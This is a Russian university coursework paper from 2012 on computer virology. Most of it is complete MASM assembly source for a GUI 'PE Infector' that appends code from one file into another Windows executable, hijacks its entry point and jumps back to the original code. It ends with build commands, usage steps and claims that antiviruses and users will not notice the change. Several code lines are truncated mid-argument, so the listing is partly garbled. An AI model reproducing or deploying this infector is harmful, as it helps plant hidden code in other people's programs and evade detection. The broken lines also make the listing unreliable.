Автор: Пользователь скрыл имя, 26 Декабря 2012 в 03:21, контрольная работа
Компьютерный вирус – разновидность компьютерных программ, отличительной особенностью которой является способность к размножению (саморепликация). В дополнение к этому вирусы могут повредить или полностью уничтожить все файлы и данные, подконтрольные пользователю, от имени которого была запущена заражённая программа, а также повредить или даже уничтожить операционную систему со всеми файлами в целом.
Министерство образования и науки Российской Федерации
ФГБОУ ВПО «Московский государственный открытый университет имени В.С. Черномырдина»
Чебоксарский политехнический институт (филиал)
Кафедра информационных технологий и программирования
КОНТРОЛЬНАЯ РАБОТА
по дисциплине Компьютерная вирусология
Выполнил:
студент 4 курса
специальности 230105
заочного отделения
Тестов Игорь Олегович
учебный шифр 609559
Проверил:
преподаватель Григорьев В.Г.
Чебоксары 2012
Компьютерный вирус –
Вирусы распространяются, внедряя себя в исполняемый код других программ или же заменяя собой другие программы. При этом заражённая программа сохраняет полную или частичную работоспособность. Код может внедряться в начало, середину или конец программы. Код вируса выполняется перед, после или вместе с программой, в зависимости от места внедрения вируса в программу.
В данной работе рассмотрен такой случай заражения исполняемого файла с PE-заголовком. Внедряемый код лучше всего брать из файлов типа .com, так как он не содержит дополнительных заголовков, и выполнение начинается сразу с первого байта, адрес на который будет в последствии переписан в ячейке точки входа PE-заголовка.
Исходник Virus.asm:
.586
.model flat,stdcall
option casemap:none
;-----------------------------
includelib masm32\lib\user32.lib
includelib masm32\lib\kernel32.lib
includelib masm32\lib\gdi32.lib
includelib masm32\lib\advapi32.lib
include masm32\include\windows.inc
include masm32\include\proto.inc
include masm32\include\user32.inc
include masm32\include\kernel32.inc
include masm32\include\gdi32.inc
include masm32\include\advapi32.inc
include masm32\include\comdlg32.inc
includelib masm32\lib\comdlg32.lib
;-----------------------------
.data
hWindow dd 0; Описатель окна
msg MSG <?>
wc WNDCLASS <?>
hInstance dd 0; Описатель модуля
TitleName db 'PE Infector',0
ClassName db 'InfectClass',0
ButtonName db 'BUTTON',0
EditName db 'EDIT',0
TitleButton db "From File",0
TitleButton1 db "To File",0
TitleButton2 db "Infect",0
ps PAINTSTRUCT <0>
rect RECT <0>
text db "File is ",0
FileInjectTitle db 'Path to file with inject code...',0
FileDestinationTitle db 'Path to file to infect...',0
ofn OPENFILENAME <>
ofn1 OPENFILENAME <>
FilterString db "All Files",0,"*.*",0,0
FilterString1 db "PE EXE Files",0,"*.exe",0,0
buffer db 1000 dup(0)
buffer1 db 1000 dup(0)
OurTitle db "Выберите файл с кодом для внедрения...",0
OurTitle1 db "Выберите файл куда внедрять код...",0
ErrorText db "Ошибка при создании обьекта ядра",0
ErrorTitle db "Ошибка!",0
flag1 db 0
flag2 db 0
NoSelect db "Не выбран какой-то из файлов",0
NoSelectTitle db "Ошибка",0
InfectText db "Инфекция завершена",0
Ok db "Ок",0
SectionError db "Ошибка секции - последняя секция нулевая!",0
code db 0b8h,00,00,00,00,0ffh,0e0h
.data?
hButton dd ?
hEdit dd ?
hButton1 dd ?
hEdit1 dd ?
hButton3 dd ?
hFileFrom dd ?
hFileTo dd ?
hFileMappingFrom dd ?
hFileMappingTo dd ?
hMappingFrom dd ?
hMappingTo dd ?
EntryPoint dd ?
MaxOffset dd ?
SizeOfLastSection dd ?
pSizeOfLastSection dd ?
pMemory dd ?
SizeOfAfterSection dd ?
FileAlignment dd ?
EndOfNewSection dd ?
NumberOfSections dw ?
pVSizeOfLastSection dd ?
pImageSize dd ?
VirtualAddress dd ?
VirtualSize dd ?
SizeOfRawData dd ?
SizeOfCode dd ?
VirtualAdd dd ?
pCharacters dd ?
Base dd ?
Point dd ?
.code
start:
push 0
call GetModuleHandleA@4
mov hInstance,eax
;-------------------------
mov wc.style,CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc,WndProc
mov wc.cbClsExtra,0
mov wc.cbWndExtra,0
mov wc.hInstance,eax
push 1
push hInstance
call LoadIconA@8
mov wc.hIcon,eax
invoke LoadCursor,0,IDC_CROSS
mov wc.hCursor,eax
mov wc.hbrBackground,17
mov wc.lpszMenuName,0
mov wc.lpszClassName,offset ClassName
invoke RegisterClass,offset wc
;---------------------End Registry of Class-------------------------
;----------------------Create of Window------------------------
invoke CreateWindowEx,0,offset ClassName,offset TitleName, WS_VISIBLE
or WS_OVERLAPPED or WS_SYSMENU, CW_USEDEFAULT, CW_USEDEFAULT,600,100,0,0,
mov hWindow,eax
;------------------End Create of Window------------------------
;----------------------Loop of Messages----------------------
msg_loop:
invoke TranslateMessage, offset msg
invoke GetMessage,offset msg,0,0,0
cmp ax,0
je end_loop
invoke DispatchMessage, offset msg
jmp msg_loop
end_loop:
invoke ExitProcess,0
;----------------------End Loop of Messages----------------------
;----------------------
; WndProc (HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam)
; ebp+08 ebp+0C ebp+10 ebp+14
WndProc proc
push ebp
mov ebp,esp
push ebx
push edi
push esi
cmp dword ptr [ebp+0Ch],WM_DESTROY
je destroy
cmp dword ptr [ebp+0Ch],WM_CREATE
je create
cmp dword ptr [ebp+0Ch],WM_COMMAND
je command
jmp defwndproc
command:
mov eax,dword ptr [ebp+14h]
IF eax==hButton
mov ofn.lStructSize,SIZEOF ofn
mov eax, hWindow
mov ofn.hWndOwner, eax
mov eax, hInstance
mov ofn.hInstance, eax
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,1000
mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY
mov ofn.lpstrTitle, OFFSET OurTitle
invoke GetOpenFileName, ADDR ofn
.IF eax==TRUE
;-----------------------Create FileMapping1------------------
invoke CreateFile,ofn.lpstrFile,
IF eax==INVALID_HANDLE_VALUE
jmp error
ENDIF
mov hFileFrom, eax
invoke CreateFileMapping,hFileFrom,
IF eax==NULL
jmp error
ENDIF
mov hFileMappingFrom,eax
invoke MapViewOfFile,
IF eax==NULL
jmp error
ENDIF
mov hMappingFrom,eax
invoke SetWindowText,hEdit,ofn.
mov flag1,1
;-----------------------End Create FileMapping1------------------
.ENDIF
ELSEIF eax==hButton1
mov ofn1.lStructSize,SIZEOF ofn
mov eax, hWindow
mov ofn1.hWndOwner, eax
mov eax, hInstance
mov ofn1.hInstance, eax
mov ofn1.lpstrFilter, OFFSET FilterString1
mov ofn1.lpstrFile, OFFSET buffer1
mov ofn1.nMaxFile,1000
mov ofn1.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY
mov ofn.lpstrTitle, OFFSET OurTitle1
invoke GetOpenFileName, ADDR ofn1
IF eax==TRUE
invoke CreateFile,ofn1.lpstrFile,
IF eax==INVALID_HANDLE_VALUE
jmp error
ENDIF
mov hFileTo,eax
invoke GetFileSize,hFileTo,NULL
mov edi,eax
invoke GetFileSize,hFileFrom,NULL
add eax,7
mov ecx,eax
mov ebx,4096
dec ebx
add ecx,ebx
not ebx
and ecx,ebx ; ecx=(x+(y-1))&(~(y-1))
add edi,ecx
invoke CreateFileMapping,hFileTo,
IF eax==NULL
jmp error
ENDIF
mov hFileMappingTo,eax
invoke MapViewOfFile,hFileMappingTo,
IF eax==NULL
jmp error
ENDIF
mov hMappingTo,eax
invoke SetWindowText,hEdit1,ofn1.
mov flag2,1
;-----------------------End Create FileMapping1------------------
.ENDIF
ELSEIF eax==hButton3
IF (flag1==1 && flag2==1);если все файлы выбраны, то заражаем
;------------------------
;-----------------------------
mov edi,hMappingTo
assume edi:ptr IMAGE_DOS_HEADER
add edi,[edi].e_lfanew ; в edi - PE заголовок
add edi,4 ; в edi - адрес файлового заголовка
assume edi:ptr IMAGE_FILE_HEADER
mov ax, [edi].NumberOfSections
mov NumberOfSections, ax
add edi, sizeof IMAGE_FILE_HEADER ; в edi - адрес опционального заголовка
assume edi:ptr IMAGE_OPTIONAL_HEADER
;-----------------------------
mov EntryPoint,edi
add EntryPoint,16
;-----------------------------
mov eax, [edi].FileAlignment
mov FileAlignment, eax
mov pImageSize,edi
add pImageSize,56
mov eax, [edi].ImageBase
mov Base, eax
mov eax, [edi].AddressOfEntryPoint
mov Point, eax
;-----------------------------
add edi,sizeof IMAGE_OPTIONAL_HEADER ; в edi - адрес таблицы секций
assume edi:ptr IMAGE_SECTION_HEADER
mov MaxOffset,0
xor ecx,ecx
mov cx,NumberOfSections
.WHILE ecx>0 ; цикл поиска смещения в файле последней секции. на выходе в MaxOffset - смещение относительно начала файла последней секции
mov eax,MaxOffset
.IF [edi].PointerToRawData>eax
mov eax, [edi].PointerToRawData
mov MaxOffset, eax
mov eax, [edi].SizeOfRawData
mov SizeOfLastSection, eax
mov pSizeOfLastSection,edi
add pSizeOfLastSection,16
mov pVSizeOfLastSection,edi
add pVSizeOfLastSection,8
mov eax,[edi].VirtualAddress
mov esi,[edi].SizeOfRawData
add eax,esi
mov SizeOfRawData,eax
mov eax,[edi].VirtualAddress
mov VirtualAdd,eax
mov pCharacters,edi
add pCharacters,36
.ENDIF
add edi,sizeof IMAGE_SECTION_HEADER;в edi - адрес следующей секции
dec ecx
.ENDW
;------------------------End Working with PE Header------------------------
mov edi,pSizeOfLastSection;
mov eax,dword ptr [edi]
IF eax==0
invoke MessageBox,0,offset SectionError,offset ErrorTitle,0
ENDIF
;-----------------------------
cld
mov edi,hMappingTo
mov eax,MaxOffset
add eax,SizeOfLastSection
add edi,eax ; в edi - конец последней секции, т.е адрес с которого начинать запись
mov esi,hMappingFrom
invoke GetFileSize,hFileFrom,NULL
mov ecx,eax
rep movsb ; внедряем код
mov esi,offset code
mov eax,dword ptr [esi]
mov dword ptr [edi],eax
inc esi
inc edi
mov eax,Base
add eax,Point
mov dword ptr [edi],eax
add edi,4
add esi,4
mov eax,dword ptr [esi]
mov dword ptr [edi],eax
inc edi
inc esi
mov eax,dword ptr [esi]
mov dword ptr [edi],eax
inc edi
inc esi
mov eax,dword ptr [esi]
mov dword ptr [edi],eax
;-----------------------------
invoke GetFileSize,hFileFrom,NULL
add eax,7
mov ecx,eax
mov ebx,FileAlignment
dec ebx
add ecx,ebx
not ebx
and ecx,ebx ; ecx=(x+(y-1))&(~(y-1))
mov esi,edi
add edi,ecx
sub edi,eax
WHILE 1
mov byte ptr [esi],0
inc esi
.IF esi==edi
.BREAK
.ENDIF
ENDW
;-----------------------------
;mov EndOfNewSection,edi;
mov eax,MaxOffset
add eax,hMappingTo
sub edi,eax
mov esi,pSizeOfLastSection
mov [esi],edi ; записываем новый размер секции в таблицу секций
mov esi,pVSizeOfLastSection
mov ecx,[esi]
mov ebx,FileAlignment
dec ebx
add ecx,ebx
not ebx
and ecx,ebx;ecx=(x+(y-1))&(~(y-1))
mov dword ptr [esi],ecx
invoke GetFileSize,hFileFrom,NULL ; виртуальный размер - размер секции без файлового выравнивания
add eax,7
add [esi],eax
mov eax,dword ptr [esi]
push eax
mov esi,EntryPoint
mov eax,SizeOfRawData
mov [esi],eax;меняем точку входа
pop eax
mov esi,pImageSize
mov edi,VirtualAdd
add edi,eax
mov [esi],edi;изменяем ImageSize
mov esi,pCharacters
mov dword ptr [esi],0A0000020h
invoke MessageBox,hWindow,offset InfectText,offset Ok,0
ELSE
invoke MessageBox,hWindow,offset NoSelect,offset NoSelectTitle,0
jmp finish
ENDIF
ENDIF
jmp finish
error:
invoke MessageBox,hWindow,offset ErrorText,offset ErrorTitle,0
jmp finish
;---------------------Calling of Default windows Procedure-----------
defwndproc:
invoke DefWindowProc, dword ptr [ebp+08h], dword ptr [ebp+0ch], dword ptr [ebp+10h], dword ptr [ebp+14h]
jmp finish
;---------------------Calling of Default windows Procedure-----------
;---------------------
destroy:
invoke PostQuitMessage,0
jmp finish
;---------------------End Destroing of Process-----------------------
create:
;---------------------Create Button on Window------------------------
invoke CreateWindowEx,0, offset ButtonName,offset TitleButton, WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,80,35,120,30, dword ptr [ebp+08h],0, hInstance, 0
mov hButton,eax
;---------------------End Create Button on Window--------------------
;---------------------Create Button2 on Window------------------------
invoke CreateWindowEx,0, offset ButtonName, offset TitleButton1, WS_CHILD
or WS_VISIBLE or BS_DEFPUSHBUTTON,375,35,120,
mov hButton1,eax
;---------------------End Create Button2 on Window--------------------
;---------------------Create Button3 on Window------------------------
invoke CreateWindowEx,0, offset ButtonName, offset TitleButton2, WS_CHILD
or WS_VISIBLE or BS_DEFPUSHBUTTON,230,35,120,
mov hButton3,eax
;---------------------End Create Button3 on Window--------------------
;---------------------Create EditBox on Window-----------------------
invoke CreateWindowEx,0, offset EditName, offset FileInjectTitle, WS_CHILD or WS_VISIBLE or WS_BORDER,20,10,250,20, dword ptr [ebp+08h],0, hInstance,0
mov hEdit,eax
;---------------------Create EditBox on Window-----------------------
;---------------------Create EditBox2 on Window-----------------------
invoke CreateWindowEx,0, offset EditName, offset FileDestinationTitle, WS_CHILD or WS_VISIBLE or WS_BORDER,320,10,250,20, dword ptr [ebp+08h],0, hInstance, 0
mov hEdit1,eax
;---------------------Create EditBox2 on Window-----------------------
jmp finish
;----------------------Backing from WinProc-----------------------
finish:
pop esi
pop edi
pop ebx
pop ebp
ret 16
;-------------------End Backing from WinProc-----------------------
WndProc endp
end start
Компиляция программы
Команды для компиляции:
\masm32\bin\ml.exe /c /coff virus.asm
\masm32\bin\link.exe /SUBSYSTEM:WINDOWS virus.obj
После запуска программы мы увидим следующее окно:
Выбираем источник инфекционного кода. Для этого нажимаем кнопку «From File». В открывшемся диалоге выбираем файл. Далее нажимаем «To File». Теперь выбираем приемник, куда будет инфицироваться файл. После выбора источника и приемника нажимаем кнопку Infect. Если заражение прошло успешно, выйдет окошко об успешном выполнении операции:
Нарушение порядка нажатий управляющих кнопок ни к чему не приведет.
После выполнения программы можно заметить, что размер приемного файла увеличиться на размер, не меньший размеру исходного приемного файла. Округление в большую сторону происходит из-за особенностей построения исполняемых файлов PE-структуры.
Итак, мы рассмотрели, каким образом можно заразить обычный исполняемый файл. Многие антивирусы даже не обратят внимание, что происходит внедрение чужого кода в исполняемый файл. Вопрос может возникнуть лишь при запуске этой программы.
При этом если размер исходного файл относительно мал, то изменение размера файла будет даже незаметен для обычного рядового пользователя, и при условии дальнейшей работоспособности программы даже ничего и не заподозрят.